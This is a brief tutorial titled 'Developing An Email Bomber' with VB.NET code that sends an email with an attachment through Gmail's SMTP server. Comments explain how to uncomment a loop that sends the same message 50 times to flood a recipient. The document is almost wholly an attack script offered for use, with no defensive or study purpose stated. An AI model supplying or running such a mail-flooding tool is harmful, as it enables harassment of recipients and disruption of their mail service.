Developing An Email Bomber

Imports System.Net.Mail

Sub SendEmail()
        Dim MyEmailMessage As New MailMessage("senderID@gmail.com", "recieverID@XXX.com", "E-Bomber", "Email Body Goes Here...") 'Pretty self explanatory. Just remember to use Sender ID that corresponds to SMTP client.
        Dim MailingServer As New SmtpClient("smtp.gmail.com", 587) 'This is the setting that specifies the server used for sending the email. In this case we are using Google's mailing server with a port number 587. Replace this setting with your own server if you got any.
        MailingServer.Credentials = New Net.NetworkCredential("senderID@gmail.com", "Sender's Password Here...") 'Provide your credentials here.
        MailingServer.EnableSsl = True 'Set it to False if the SMTP client doesn't accepts a secure connection.
        MyEmailMessage.Attachments.Add(New Attachment("Attachment Filepath and name here...")) 'Specify the path and filename of the file you are going to attach with the email.
        MailingServer.Send(MyEmailMessage) 'Send the email.
        'In case of a bomber, use a for loop to specify number of emails to be sent.
        'Uncomment following three lines if you want to send more than 1 email.
        'For NextEmail As Integer = 1 To 50 'Send the email 50 times.
        '    MailingServer.Send(MyEmailMessage)
        'Next
End Sub